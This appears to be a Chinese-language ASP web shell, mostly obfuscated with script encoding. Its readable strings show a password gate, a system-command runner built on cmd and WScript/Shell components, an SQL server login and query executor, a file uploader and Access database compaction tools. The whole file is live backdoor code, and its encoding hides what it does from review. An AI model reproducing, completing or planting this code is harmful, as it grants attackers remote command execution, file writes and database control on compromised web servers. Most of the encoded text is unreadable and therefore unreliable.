A(3Z`P2v?P]5j2]e*d@#@&,~,P~,P,PP,P,~P,P~P,P~~"2?h61U2Rq](KAPr@!orHP,Z6S}]'"29@*已经尝试恢复on{]3V]q:3@!zo}1:@*Ji@#@&7d,P~P,P~3d?2,]2Unrgj3RqI&K3PE@!wrHK,/rdr]x"2f@*恭喜!组件齐全@!Js61:@*rd@#@&P,PP,P,~P,P~P,P~~,PP,~PA1f,(o@#@&P,P~P~~,P~P,~P,P~~,PP~~ASj2,@#@&P~,P,PP,P,~P,P~P,P~~,PP"3?hr1U3 "q:2~J@!j;I(n:@*bd2]PvB操作超时,重新登陆!Bb@!J?/I&K:@*E@#@&,PP,P,~P,P~P,P~~,PP,~P,I2UK61U2c]qP3,J@!ZAHKAI@*@!zPC]3w'E["35j3UKc?2".A].zI(b~S3jvJj"JJ*[JQj}Szbz'Jr!6`K@*@!w61:P/6drIx$db/|@*登陆超时@!Js6gK@*J@#@&P,~P,P~P,P~~,PP,~P,PP,~]2Un}1j2 3gf@#@&,~P,P~~,PP~~,P~P,~,P~,PA1f,qw~d@#@&~P,P~~,PP,~P,PP,~~P,P,P~P~~,P~P,@#@&ASj3&sP]35j3?:cr?}dbzbJ*'rjpdJ~K_2H@#@&PP,~P,PP,~~P,P,P~P~~,P~qw~?A?j(}1`EJ}M(1rb@!@*ErP:C2g@#@&7d,P~P,P~(wPIA}jA?Kco6It`r?}SEb@!@*EJ,PCA1@#@&,PP~~,P~P,~,P~,P,PP,P,~?AK~bGr/6g1'U3Ij2Ic/]2zKAr$93/:`EbG6f~R/6g12/P&rHJ*~@#@&~id,PP,P,~bGr/rg1 6h21,En"r.&93I{?5S6S39~RqiG)KzPj6`IZ3xrP'PU3U?(}1vJ?AIj3Ir#~[,JSE,[PU3?UqrgcEn}I:JbP'~riKbUj}I9xrP[~jA?jq}HvJKz?UJ#,[,Ei`q9'rP'~U2?U(rg`Jg)\2r#@#@&~P~~,P~P,~P,P~~,PP~~,P~?:]5j3"5{I25jAjKcs6It`Ej5SJ*@#@&,PP,~~P,P,P~P~~,P~P,~P,?3P,I2/]A?iS:~{P)Gr;r1gRAp2;jP2v?P]5j2"e#,@#@&,~~P,P,P~P~~,P~P,~P,P~~&sPH6:P]2;]A?idKc2rwP:u2gP@#@&,P~~,PP,~P,PP,~~P,P,P~P96,uqd3PgrP~"2Z]3UjJKc3}s~@#@&,PP,P,~P,P~P,P~~,PP,~P,?K"]3?`S:PxPjP"I3?`JK,[~/_I`qf*P'P"3;I3UjdK`Z#,@#@&,P~P,P~~,PP,~P,PP,~~P,P"2/I3j`SPRt6.A13p:P@#@&~,P~P,~,P~,P,PP,P,~P,P~S}rK@#@&dd,~P,PP,3Hf,qw@#@&d7~,P~P,~?AK~]AZI3j`SPP{~grP_qgM@#@&P,~P,P~P,P~~,PP,~P,PP,~]2Un}1j2 "qP2,E@!:2pPzI2)~"r ?{qZP/}SU'*Z@*r@#@&,P~P,P~~,PP,~P,PP,~~P,P"2jn6HU2 "(KAPE执行j5S语句)E@#@&P~P,~,P~,P,PP,P,~P,P~P,I3jhr1U3RqIq:3~IAp`2jK o}I\`rjpdJb~@#@&P~~,P~P,~,P~,P,PP,P,~P,I3?hrHjAR"(KAP?:]]2UjdK@#@&~~,P~P,~P,P~~,PP~~,P~P,]A?K}1U2RqI&P2,J@!z:2pPzI2z@*J@#@&P,~~P,P,P~P~~,P~P,~P,P~3gfP(o@#@&~P,~,P~,P,PP,P,~P,P~P,P3JU2P@#@&P,PP,~~P,P,P~P~~,P~P,~P"2jK}1?3 qI(KA~r@!j;I&nK@*bd3I:`v操作超时,重新登陆!B*@!&j;IqhP@*r@#@&,~~P,P,P~P~~,P~P,~P,P~~"2?K6g?3Rq]&K3,J@!Z2gKA]@*@!b~C"2oxr[IA}jA?Kcj3Ij2".)I()~S3?vEj"SEbLJgj}db)b{J}M6`K@*@!s}1:~Z}S6I{AJ);|@*登陆超时@!&s}1K@*E@#@&,P,P~P~~,P~P,~P,P~~,PP~]A?KrgjAR3gf@#@&P,P,~P,P~P,P~~,PP,~P,PPAH9P&s@#@&@#@&3JU2(s,]25j3j:`Jj}db)brb{JJ}M}jKrP:u2g@#@&P,P~~,PP,~P,PP,~~P,P,P~?3P,b9r;61g'H6:CqH!@#@&~P,~,P~,P,PP,P,~P,P~P,Pj3U?q}H`rSrV(HJ*'rJ@#@&~~,P~P,~P,P~~,PP~~,P~P,jA?j&rg`Jgbt3J*'EJ@#@&~~,PP,~P,PP,~~P,P,P~P~~U2j?&61vJK)U?JbxrJ@#@&,~,P~,P,PP,P,~P,P~P,P~~U2?U(rg`JU3].AIr#xJE@#@&P~P,~P,P~~,PP~~,P~P,~,PjA?Uqrg`rKr"KE#{JE@#@&PP,~P,PP,~~P,P,P~P~~,P~?Aj?&rHcr?5jPAHE#{Er@#@&,P,PP,P,~P,P~P,P~~,PP,~?A??&6H`rn"qE#xErd7P,~P,P~~,PP~~,@#@&2g9,qo@#@&&sPU2Ujq}1cJdr!(gJ#{EJ,KCAH@#@&idiP~P]3Un61U3RqI(PAPJ@!o}I\Pg)t2xwr"HPt2:urG'KrUK~j5Sbz)'r[IA}i2UKc?3I#3".)I&)Ad2jcrjIJE*[E@*r@#@&d7iP,PIA?h61U2 "qP3,J@!h@*?5S用户名:J@#@&7diP,P]2jK}1j2c I&K3~r@!qHK`K~1z\A'HzHAPKInAxKA(PP&fxHzH2,#bdj2{E'?A?Uq61cEgb\2rb[r@*E@#@&Pd7~,P~P,~,P~,IA?n}1U3RqI(KAPE~,?pd密码:E@#@&ddi~~P"2Un61j3c]q:3Pr@!(HhjK~HzH3'h)U?~:5h2'hbUj}I9P&fxKz??,#bdj2{E'?A?Uq61cEhbj?rb[r@*E@#@&dd7~,P]2UK}1jARqIq:2,E@!h@*jpd服务器:J@#@&idd,~P"2?h6H?ARqI(K3~r@!(1hiK,1)\A'n6]:PP5h3{K3oK,qf{?A].AI~.zSi3{F F !c!R8@*E@#@&Pid~P~~,P~P,~P"2jK}1?3 qI(KA~rP~Upd端口:J@#@&di7P,P]2Un6HU2Rq]q:2Pr@!(1hj:PHb\3{n6I:~KIn3x:2(P~&fxn}]:P#zS`2'8c2f@*r@#@&did~~,I2UKrg?2c ]q:2,J~P@!(gniK,Hbt2xj5Sb)),KenAxUj$tq:P.zS`3'dr!qg@*E@#@&ddi~P,I2UK61U2c]qP3,J@!zw6It@*E@#@&@#@&3JU2~P,~,P~,P,PP,P,~P,P~P,P]3Unrgj2cI&P3Pr@!wr]H~HzH3'w6ItP\3:Cr9xhrjK,j5S)zb{J["25i2UK ?AI#3".b"(b~S2UcEj"Sr#'J@*E@#@&7di~P,I3jhr1j3c]q:3,J@!h@*组件检测:r@#@&idi~P,I3?hrHjAR"(KAPJ,~@!qgn`K~1)\A'jpd)bzPPeh2'u(Gf31,#zSiA':2?:@*r@#@&id7P,P]3Unrgj2cI&P3PrP,@!(1Ki:PP5h3'Uj$\&KP#)dj3'检测组件@*E@#@&7id,PP"2UKrg?3RqI(PAPJ@!&s}IH@*E@#@&@#@&,P~P~~,P~P,~P,P~~,PP~~,P~P,]A?K}1U2RqI&P2,J@!s}I\~gbHAxs}IH,\3K_rG'KrjP,?}Sz)b{J']Apj3j:Rj2"#AI#zI&bAd2UcJ`IJJ*[E@*r@#@&i7d,PP"3jn}1U2 ](:2~J@!K@*组件恢复:r@#@&7idP~~"2jn}HU2 qI&K2,J,~@!&1Kj:PH)t2'U}Szbb,PenA'_q9f3H,.)S`3'"2jit2@*E@#@&d7d,~,I3Un}1?ARq]q:2~J,P@!(gnj:~KIn2{jiAtq:P#bJiA'恢复组件@*J@#@&did~~,I2jK}1j2c "qPAPr@!zwr"\@*r@#@&@#@&d7~,PP,~P,PP,]3?hrg?3R ]&K3Pr@!s}I\~gbH3xwr]H,\AKu}f{nrUK,jpdb)b{J']ApjAjKc?2"#3Ijb"q)AJ3U`Ej"JJ*[E@*r@#@&77iP~P"3Un6g?AR"q:3Pr@!K@*系统命令:r@#@&7idP,~IA?n}Hj2c"qP2~E,P@!qgKj:PH)t2'/\GPP5h3{K3oK@*J@#@&di7P,P]2Un6HU2Rq]q:2Pr@!j2d2;K~1)\A'vK}6SEP@*@!}nK(6gP#bdiA'vE@* OO 请选择运行程序的组件O RO@!z6n:q6H@*@!rhPq}1Pj)JjA'onmZ\9UC3Sd@*(h{/\G?C3Jd@!&rhP&rH@*@!}nK&rg~.zSi2{?Km}bZ"3b:2@*UKmrzZ"2)K3@!JrKK&61@*@!6K:qrH~jbJjAxonm"2VI&KA@*(h{]2V](:2@!J6n:qrg@*@!rhK&rHP#)dj3'U}SU2]#AIb!3gK@*?5JU2]j2"bMA1:@!z}nPq}1@*@!Jrn:(rg@*@!Jj3SAZ:@*E@#@&7id~P,]2Un6HU2R ]&K3Pr~,@!(gn`KPgbt3'UpJbzb~PIn2{uqGf2g~#bdjA'/H9@*r@#@&di7P,P]3UnrHjAR I&PAPE,P@!q1hj:~KIn3'Uj$\&KPj)S`2'执行@*E@#@&idiP~P]3Un61U3RqI(PAPJ@!&wr]H@*E@#@&7iP,PP,P,~P,P]2Un6HU2Rq]q:2Pr@!or"H,1)H3xwr]H8~HAKu6G'n6j:Pjpd)zbxr["2p`2UPRU2].AI#)"qb~J2U`J`]JJ*[r@*E@#@&7id~P,]2Un6HU2R ]&K3Pr@!h@*执行语句:E@#@&idd,P,]2Un61U2 "qKA~J,PP@!(Hn`K,1)H3xUpJP:enA'P3oK@*E@#@&d7d,~,I3Un}1?ARq]q:2~J,P@!(gnj:~1zH2{j}SzbzPP5K3{C(fG31,.)J`2'j}d@*E@#@&7id~,P"2?hrgj2c]q:2~E,P@!&Hn`KP:eK2{?`A\qP~jbJjAx执行@*rd77,PP@#@&id7P,~"2jhrg?2c"(KAPE@!Js6]t@*J,~P,PP,~~P,P,P~P~~,@#@&2g9P&sl3 NPo; mOkKU@#@&@#@&+X+m!YcS`x3x;W[nvJ/DUX4/ynYr/xgg(Y( 卐EZ.hDVczZW%S0XN%Hc)B3 RvRS:4_1oAgp卐3g]r/x卐3UYb/L卐6W031(~Hp卐RNyS5YF%5 |;DNePXO%5 |Lz%$L(&Da0]5$0_卐L6D;_f84;%; |O卐 $;sbWLq&845%; |DO%kO4k9}II\&SL`AN(AWW6卐RX]8%X;Wn]8v]8L$U|!D%5,6RYN;xnz8N5/N;P&X3uAY845N;U|DYXN(卐 vHtLGL:D%XX=oL5 |2V/ X!Uh4(vOHt%GTKLHWLSC]~Ya3uXN(卐 L"AI]q*uqL$xF;ML5~au_YBu/uBY3]bDC0L&Y_uBYtW]vQsX0`5;N:( Ydyq&XuY;5W_卐RvX)z&bD4v :XW;!0.&S%Ph%X]~]L$xn;DN5~6卐cBz4NWo:.LH6Uo%5xn&^/UX;UStpB ztNWLPNX0%A_&ALPAN($D60]XN(卐cv;$Lh(2X;USt('vOHtLKLPLH0Nhu&A%Ph%(~auuX%p卐cB;5%s(fX!UStp'B XtNWTPLH0%h_&A%PhLo$6-]XNp卐z8N?uL.ya%q]AYSA9u/P卐%X;L卐WW6_H(~Ho卐;56k6Lh2X.OkH6fq&AWW6卐RkMu3Nq_EY4cuB3:z0i5$Lh( 4L)Lf]_Aq(YHLp卐RcX8vRIo:OX4LKLKNXWLSC$]_]XNp卐/N:XuvaL?B~RvX;UStauERDSYFfH6L"-NY3 卐dN:euBEZbcBb.tEO.hD|fzXLy7%u31卐E/SkMtBAa6W54]S@$l1,QXhs L:@$Ml*gszbxkBAN;UH(uWLS0z8NX)/B行执~AN";6 ]BzUDTyX~$L;=H]zy!dxz]/SE_k.u0L(_ES~L"$0P]~CG@*_:HkUuBA%5?X(uSkMt~~%.0k]Hy;/U)E_H(~H(卐E;5%s(&z; h4('/E_rNw4L:4_ES6NUSANy5WP]~H;xSt6-S$LM0k]S8OLat%:4SANE=zutAaa6;4]H"!/UzB31(~1o卐v@$!6L/3@$;aT/_;Sel@!gszrx-~~L5Uzpu~v_sz0`;5%s(_vS~L";6`u~io~~LD6/uzy!/Ub:径路5pB\oB_gpAg(卐B;Sz6DEBArYhzNDYDSO3zB$Ho卐RBr.4BRXX%.\%q]~]kMC0%qu/%:I]vv;bRErD4BOHa%y7Lq]V1卐vv~k%w4%:4]d%sX]vaNUvZz EX; h46uEOHaL.\%u3U卐vN8L2rD4B]~YhX6j$;%:pYkLh5uvB~:zW`;;%ho]Vx卐cvsXW`;$L:oB dY 6aLoAhz6j;$%:o卐RB`pvOH6Ny-L Y~] Bsz0`;5%s(BRdDxa6Npu/%s5uBB;bcvjoBRXXL"-N]0H卐BbLw4%htuB~k%w4%st_R 5;N:pbDCYdDxztk"ngdDxHt/.|ur/xgH(u( u]卐B;%;T0XW)/DSY0c)BQ5Sy=ED4_EZAzWbZrzWbv_gp~1pu]u]卐B;~传上B$L.;W u~zUMoyoSAND0kYSX DTya~$%!Uz]H"Ekx)YE_1p$g(Y]uY卐EZS=GBAL,xXY]BL5x0~$%!UXuSL$x|$W4Y5~~L.0dYHy;/ )]E_Hp~1(YYu]卐vZBXO~$NP 6]BB3 BN8%&bD4CE_REhX6jhNr5YnB /OxaaN(R:HWjN QE~A%"$0`]BhH0iD5BALM0kYX.Edxz:径路传上BQHoA1oY]u]卐B;rzb;hHbv_Hp~1p]uY]卐EZSWH0k+.SYVcHA6EUH;.D~~L!=X4/%]BXaO`AGkOxHts3%5xnE\AdYUz4s9B3}\_vS~/YUz40Y~HaDES~kD:XNDuSDSYFE\~$%M0/u.hD3bEQH(~1o]Y]Y卐v;~ALHdL4~$d^x;WYB*SA^d tW!6$;L4]BX~~VdxbkW;$;L4Y~l~AS%rhDouL5oWzzZAoz/hTb/ATbB$Ho]Y]u卐Vg]rk9u]卐kk92%6kY;6N7卐 hhxkYs(d卐gpY(qi卐;A}246MQ1o$1od卐sd :XOd~}YXNpQVd :HY/~|uzLod卐V1ukdBi卐3xur/xdd卐E/ALH/Nt*b!功成传上vQNDW?\QB件文;hL);ho)/So)ZS%H/%4bEA1o]uY]u]Y]u]卐d%s5]l$hNoD.dfhS9u3H]YYu]Y]u卐%D6?tYXsL`Wo&F]uYu]Yu]卐N6;x]uY]卐E[传上件文个一择选后径路全完的传上入输请/hTbv$g(]uY]u]卐/Nhz]lANPU(%5 |f|uAKuBv$ND0jtu3H]uYu卐RvsX6jYIB .hD3f}~L.WU}d卐cvL$x|$W4Y5B st&t$n]zLoYguCituuLd$\]zLoYu]Y卐kLs5]EXXOjEA BF/OUHtsERXXLy7% ]01QRRL5UnEt]kOxHtd"ng/OUHtdynYb/BQ3 ]kkLuY卐(uAYLbY4dxpII\]u]]卐cv@$EXok_v]q lGRtu]8(R%40;;%S]$]oYu]Y卐cB@$XY.\3v]8R1% \uuF( %t6;ENAYAu(u]Y]卐 v@$@*0`3v]8R@*0 HuY8(RL4W$E%S]~](u]uY卐RE@$z;3BYqEbBuq( Lt65;LS]~]p]YYu卐Rv@$Hs_E]qv;B]qp L40$;NhY~]o]]u]卐k%:H] ( ;5"k6xuzYk]3 _ ( LbY4/B}"5\]kOxHtd"ng/OUHtdynYb/BQVkx:HYUYAuIpKuX%p卐N6Y$u&"(K卐sa";n&N6dY;aN卐r0N &"(PYNXxAw?hW/ !2LakY!6Lq卐BMWLSXa HLz4Dc/DUX6tx$;;0E]~]%E=eH/%XkOC2LadDE6% 卐E'+|ItE]$uXN6h6:_fLX/OEXL 卐%,x(2](:]FEhzVkL5 z/%zkYuBuALb0%\bksf%X/OEX%q卐R~XFsX0!ObUIu_YB~L.WkL; V]@$X/N.ht6XH0v]qvkYUX aY!6U(yX/%zkYuBuANkWNHbks2LXdY!6%卐+! vmBFsz0!O N AXX/gA~6卐hz6jYL$U|MYAFb0Y}f"(P卐vu$uL;?52I(:卐/N;K2IpK卐cRXqpO5TPOHtLKLPLH0Nhu]$Y"(P]H%(卐S0%5_&LadDEaLq_c:z6j L; |kkY&]dY X4d.|gkOxHt/.FYkk9Q1p]p q卐XNLU卐vZSX*);kX*)E_ G8U 5L:_EZX0L$$/^x50u~FFn||nc~~hY$O4VT]bX)ZrzWbv_cF OeL:_B/Sn|F|nFv~$SY$Yt^ourXzZrXWbvQc*F R5TK_E/S|n|n|F`S$SY5Y4sou~XXF~Ahzbxk]BXF~$H:^xLs]bzb;~ALH/%4BA/^U;6]hH)v_g(~1p卐%YD5Y*~U]SYF卐v;hX*);kzczv3Rvxw-5nKo[x$ 9oBRaN;o6Uh6$hN`ALo&H6%y-%q_vZBF|n|FFv~AAO$Y4VTYbX);kHcb@$EXL/3ZS|n|FFn`~~AY$Yt^LYkHb;kzc)本版器务服!x-/~nF|n|FcBAhO5DtsouSl*{BAsXk uuS*F~$XsVU%s]kH)ZBhLHd%tBAkVU;WYSX)B3H(~1p卐v;hX*);kzczv3RvoKEO6N;TWxS0,hN A%o&XX%y7L3v/~n|n|F|cS~hO;D4VT]rzzZkz*z@$;6Td3ZSn|n||n`B$hD;Ot^oYrHbZbzcz统系作操器务服Z~nFF|n|v~$hO5DtsouS*lGS$sXkUku~XGB$H:s Ls]kHb;ShNXdL4~$d^x;6YhHbB3HpAg(卐EZAX*);kzczv_cBp :((Bu:iNnP9BVI\?B 6N5o6xA0]h%`SL(2z6Ny\N QB;~n|F|FFv~$hD5Y4VLYbXb/rHc)@$!aT/Q;~n||n|nc~~hO;DtsLukXz/kHcb量数\iu器务服ZB|n|F|FcBAAY$Ot^oYSl*GS$sXrx-YB*{BAH:V LsYkHb/~SLzdNt~~dV ;0uAzbE_g($1p卐v;hzcz/kHc)@$!6odQE_kYkQEZSn|n||n`B$hD;Ot^oYrHbZbzcz@$EXLd_;~n|F|FFv~$hD5Y4VLYbXb/rHc)间时器务服ZBFn|Fn|v~ASY$Ot^oY~l*{S~:XbUuu~*FS$XsV Lh]rzzZShNz/NtS$kVx5WuhzbEQg($g(卐EZDSY0*b;hzczZrzWbZB{~~Ly$W`]B/DxztWS~L.0kY~kLrr :~$%!Uz]H"!/UzZB8ElgS%kSYL~~L5=H6~地在所器务服此询查B$L.;0PYSX DTya~$%!Uz]H"Ekx)/B8EX_SLrhDLBA%$UH6~E_cv&qoN5suP5BOX%;T0xSW,hN SLp&zaNy-LqQBBA%"$0 YS=vSAN~ 6YBE ~AND6d]BXNLH~$%!UXuzy!/xzvQ1oAg(卐vZSFn|F|nc~~hO5DtVLYbX)ZbzWb@$!6T/_;~nF|n|F`BAAO$Yt^L]bXb;rzczjg器务服ZS|FFn|F`B$hD;O4^o]SXlGSAszbxku~lG~~XssxN:YkHb/SSLXk%tBA/^U50uhHb/~2d6;LNB$XNVAWH]~.AD3;xB$NDWk]BE66&X;xWDOt2'0!x&-kuWcg!zz:BAkYUX4WuXaY!$kD:z%M]DAO0bv_gp~1p卐EZSXczZbzczBQRE9]oUNx,x(B a%;T0 hW$A%Ph%62z6Ny-%S_B/Sn|F|nFv~$SY$Yt^ourXzZrXWb@$;Xo/3/~n||nFF`BASY5Y4sT]rXz/kHc)名器务服/B||FFn|c~~AD;O4VT]~l*FSAsXrx-]SXF~AHhV L:urzb;~SLz/%4BAdV 50uhz)E_1p$g(卐vZSzWb/bXWb息信件组器务服ZByk%DBAAY$Y4sT]~S%XkLtB$dV ;6]S%S$k0;6$Otu~X{BAXhs Lh]bzzZAHbE_1oAgp卐B;~ALH/%4BA/^U;6]~lS$VkxbkWE55NtY~+SA^/U46E655NtY~lS~h%bhDo]Byk%DBAAY$Y4sT]~CX'BA:HrUuuL$oWX)/So)B~H(QRRO0/1A%Ph%(udDxz4/.|J*#@#@&@#@&s;x1YrG PZMnlD+H98cnmY4#l?(xr@!8D@*@!4M@*E@#@&PP~jY~Z,x,Z.lD+r(L^Yvr8Kv ST*#P@#@&P,PZc/.+mY`En.G7k[+MxHbm.GkW0O x+OR}JAf$ccc!iGlDCPUW;D1+xE,[PhCY4#@#@&~~PU+DP/Px~gWOtbUo@#@&~~,q0~3MD x!h(+.{!,Ktx@#@&P,P~PUq~x,?q,'PhlY4~'Pr建立成功"r@#@&P~~Ax[P&W@#@&P~~Uq'j(LACm0iMV~@#@&,PP"IU~?&)3x9PW; mYbGx=sE ^OkKx,ZG:2C1Y\N(cnmY4b=q0~HKY~r(Pv!S8#,Ktx@#@&P,P~?Y~/{ZDCYr4Nn^Yvr(Kc&ST*#~@#@&~P,P~~;RZGhal^YGCDl8m/PJhDK-k9+.'tk^.K/W6ORx+Yc6J2GAcc !I9mYCPUGEMmnxr[nCO4[E~h.K\r9+M'HbmMG/K0ORx+O }S2G$RWR!p9CYmPUW;D^n{J~[hCY4@#@&7U+Y~/{1GY4r o@#@&2^/+@#@&,~?Y~sUrx/M+lDnr(L+1Ocr(Kv!SFbb@#@&~P&WPw?6 wkVn3XkdYkchlO4#,Ktx@#@&P,P~?Y~/{ZDCYr4Nn^Yvr(Kc&ST*#~@#@&~P,P~~;RZGhal^YGCDl8m/PJhDK-k9+.'tk^.K/W6ORx+Yc6J2GAcc !I9mYCPUGEMmnxr[nCO4[E~h.K\r9+M'HbmMG/K0ORx+O }S2G$RWR!p9CYmPUW;D^n{J~[hCY4[Em(l3E@#@&dj+D~;'HKY4kxT@#@&~P,Po?}R9n^+Yok^+PhCOt@#@&isjr \K\nsbs+,nCO4[Jm8m3E~hCDt@#@&P,2Vk+@#@&P,P~?&'E@!1+xDnD@*@!4M@*@!4M@*@!4.@*数据库E'hlOtLE没有发现!@!JmnUD+D@*E,@#@&dA.MRU!:(+D{F@#@&P,2UN,qW@#@&PPUnY,s?}xHWDtbxL@#@&3 N~q6@#@&,P(W,2D. Eh4.{!~:tx@#@&P,~PUqxJ@!mnUD+D@*@!4M@*@!(.@*@!(D@*数据库J'nCO4[E压缩成功!@!J^+ Yn.@*J@#@&~,2UN,(6@#@&,PUq'UqL$l13iD^@#@&~,IIU~?&)2 [~s!x1YrWU@#@&kWPkn/kkGUvJhn8yl+Nsr Jb@!@*`/+Mnmd/,Y4+ @#@&r6PD5E/YcWGDs`rwC/dE*@!@*Jr~Y4+U@#@&k0~.;;+kOc0GM:vJwm/kE#{jd+MnCdkPY4nx@#@&/ddkKxvJA+8+m [:bUJ*'idDnCdk@#@&DdaWUk+cD+9kMnmDP;D^@#@&n^/+@#@&I"?J@!8.@*@!4M@*@!4.@*@!4@*@!9r\,lsrTx'^n YnD@*@!6WUDPkky'EXB,mGVKDxLM++ @*从来没有一个黑客会去猜解或者爆破别人的?_+Vd密码@!8D@*@!6WUY~^KVGD{.+9@*您是第一个@!&6WxO@*@!zWW O@*@!&(@*,@!4M@*@!8D@*@!8D@*@!8.@*@!4@*@!Nb\Pmsro '1+UYn.@*@!WW OPkk"n{BF*v,mGVK.{Bsb:B@*@!z6GxD@*@!z(@*@!&a@*@!J^+ Y+M@*E[(l13;Ds@#@&2UN,r0@#@&nsk+@#@&db'E@!(G9X~kYHV+{Jr8l13LDKEU[=ED^cJL4oLEbP W DnwnCDP^+ O+MP^n Y+.IrJ@*P@!^xOD@*@!s}1:~/DXs+{JEo}1K jq\2),0TwDi,s(SP3")~&9K_)~qZ!]I~,S(1AR_2(VC:)P2!ZYi,s61:Oo)tqSIlbMkl^EE@*r[;W2X.rTtO[r@!zwrHP,J[;dD2lkdLJ@*@!Nb\PkYHs+{BAk9Y4lW!!aaialN9rUo=&ywai~C^kLx{s+6Yv@*@!4D@*@!6W.:,C1YrKx{BJLEMs[rB~:Y4G9'BaG/DB@*@!8@*密码:@!J4@*@!rx2;DPUlsn'EwCdkBPOza+xBaCk/AKD9BPkk.n'E +B@*P@!r wED~YHw+{vdE(:bYvP-C^En'E确认v@*@!z^n Y+.@*r@#@&k6~bxdDDv?qB?&/#@!@*TPDtnU,DDk~/&@#@&U[Pb0@#@&.+d2Kxd+cnx9@#@&n NPrW=s;x1ObWU,f(Hl lTnDv#l?$VjOM'KMr:vI+$;n/DRwW.:cEU;s?D.J*#@#@&,Pf8jDDxI5!+dDRwWDs`r94UY.J*@#@&~,?q{jqLJ@!DC8VPSk[Y4xEvX!E~P(W.[D'vTEP^+^skwC1k o'E!E~mVswmN[r o'ETB@*J@#@&~~?&'Uq'J@!WKDhP C:'v9(sW.hEPh+D4KNxEwK/YEPm^YbWU'EB@*E@#@&P,jq{?qLE@!YM@*@!Y[PAr9Y4'Eq!ZB~4ko4O{B+GE@*,[U(/ai数据库连接串)@!zD[@*r@#@&P,?(xUq[r@!Y9@*@!bU2EDP lh+xvG4jYMvPkYzs'BAr9Y4)W{ZB~7l^E+{JrE[G4jYM[EEr@*@!JON@*J@#@&~~?&'Uq'J@!O9PAk9Ot{BTEPlsrTxxB1n YnMB@*@!/V^Y,xC:'vjDDADUB,Wx14CxT+{B.+O;Mx~s!sVG4jOM`W2ObWU/]dVn1YNq NaTc\CV!+bv@*@!WaOkKxP7CsE' F@*连接串示例@!&GaYrW @*@!KwOrKxP-C^En'Z@*zm^/k连接@!zKwDrW @*E@#@&P~j&'?&'J@!WwDrGx,\mV;+xq@*Hd?$s连接@!JW2ObWx@*@!KwOkKU,\C^E' @*HHj;^连接@!&WaYrG @*@!K2YbWx,-CV!+{&@*fjH连接@!zGwDrW @*E@#@&PPj({?([r@!KwObW P\mV!n' F@*O ?}J语法 O@!JGwDkW @*@!WaYbWUP-C^En'W@*显示数据@!JW2ObWx@*@!KwOkKU,\C^E'*@*添加数据@!JGwDkGx@*J@#@&,P?&x?&[J@!G2YbW P-ls;'@*删除数据@!&WaYrG @*@!G2DkGx,-mV;'F@*修改数据@!JWaOkKx@*@!KwOrKxP7CV!+'R@*建数据表@!zKwDkGx@*E@#@&~PU('Uq'E@!WwOrKx~\ms!+xO@*删数据表@!zWaYbGx@*@!GwDkGU,\l^;+{F!@*添加字段@!&WaYbWU@*@!GaYrW ~\mV;n{FF@*删除字段@!JW2YbG @*E@#@&,P?&'U([r@!GwDkGU,\l^;+{F @*完全显示@!&WaYbWU@*@!&k+s+1O@*@!zO[@*@!zO.@*J@#@&,~UqxUqLJ@!bxa;Y,xC:'v)1YkKUB,YXanxB4k9Nnxv~7lsExBG4\C lon.E@*@!k 2!Y~ ls+'EnmL+EPOXa+xv4kN9nxEP\ms;+{B8B@*J@#@&,Pjq{jqLJ@!OM@*@!O[,tnkT4D'v2!E@*[ 4k2iUpJ操作命令)@!zO[@*J@#@&~PUq'U('J@!Y9@*@!kU2!Y~xmh+{Bj5^?Y.v,/OX^n{BAbNDt)WGZvP7lsE'EEr[?$s?DD[rEE@*@!zDN@*J@#@&,Pjq{jqLJ@!O9PlsrTxxB1n YnMB@*@!k w!OPDX2+{Bd;(:kDvP l:xv?!4skOB~-mV;+{v执行B,WU^^kmVxEDnY!. P9(Z4+m0`*v@*@!zON@*J@#@&,P?&x?&[J@!&OD@*@!J0GDh@*@!zOl(s+@*@!d2mxPr[{BC41v@*@!&kwmx@*r@#@&~P"IjPUqlj&'Jr@#@&,Pq6~J+ `G4jY.b@*cTP:4+ @#@&~,?+O~;WUx{/M+CD+}4LmDcr(Kc*B!bb@#@&P,/W xR}2nx,f(?OD@#@&,Pj+D~Ik'/G xR62xjm4nslcy!*P@#@&P,jq{?([r@!OC(V+@*@!YMPtrLtD'E XB~$TmGVK.'Ea//;ZZ/v@*@!ON@*表@!(D@*名@!zDN@*r@#@&~P"/ HK\nobD/D~@#@&PPGG~4k^+~1GO,IdRAG0@#@&~~,PqW~"/cJ:)~S3|KIn2r#{EKzAJ2rPO4x@#@&7P,K1mhn'"/vJPb$JA{Hbt3J*@#@&~,PP~~Uqx?&'r@!O9PmVkTx{^+ YnD@*@!C~4D+6xJrLl7CdmMkaYlkWc1WU0b.:vB确定删除么?vb*sEssU;s?D.vB9"rhPKzAd3P]J'KglhnLJTESF*JJ@*,~NV,T@!zC@*@!4.@*r@#@&,P~~,P?(xUq'J@!C,t.0{BLm\mdmMk2Y=s;s^?;^jYM`Jrj3SAZ:PMPo]}H~$r'KglhnLJTEEBFbB@*ELKHm:[J@!zm@*@!JY[@*r@#@&~,PPAUN,q0,@#@&P,P,IdR\G7+H+XOP@#@&~~dWW2~@#@&~PUnDP]k'gWY4k L@#@&P~?&'j(LJ@!JOD@*@!zDC8V@*r@#@&P~]"?~?&l?&'EE@#@&qW~d+U`U5^?OM#@*F!,K4nx@#@&~P&0~J;l/cS0Yvj5VUYM~#bxr/nV^YrPO4x@#@&~,P~?&xUq'r执行语句:JL?;^?D.@#@&P~P,?nO,I/{/DlY68LmD`Eb[G94 I^WMNdnDJ#@#@&,P~P"dcW2x,?;^?D.~;WUxBFSq@#@&P,~Pw1'"d sb+^NdR/G!xO@#@&~P,P]/{I/ ]mGD9/KEUD@#@&PP,P"dRhlL+Uk"n{ !@#@&P,PP;G;xD'"/ nCL?ry@#@&,P~~h1']dcnCo/KEUD@#@&PP,PhCo'.+$EndD`JhCoJ#@#@&~P,P&0~nCL@!@*Jr~K4+U~hlonx;VUovKmon*@#@&PP,P&WPhlL+{JE~}DPhCo'!,P4+ PhlL+xq@#@&~P,~q6PKCT+@*KH,K4+ ~hlL'h1@#@&P,~P&0~nmon@*8PK4nx,I/cC8/KV!YnwCL'KlTn@#@&P~~,?qxj&[E@!DC(Vn@*@!DDP4+bLtD'+*,4L^KVWMxa1mm1^^@*@!Y9@*@!zO[@*J7P,@#@&,P~~wWD~U{!~YK~w1R8@#@&PP,P,~?Y~s^Nx]kRsbnV9/R&On:vx*@#@&P~~,P~?&x?&[E@!DNPCsboU'E^xODE@*JLs^[Rglh+LJ@!&DN@*r@#@&,PP,~~?Y,ssNxUKY4k L@#@&P~~,1+aO@#@&~P,~UqxUqLJ@!JYM@*J@#@&~P,P9G,tbs+,1WDc]/c2K0~W.~"/ AKW#,bU[,ZW;UD@*T@#@&7,P/KE 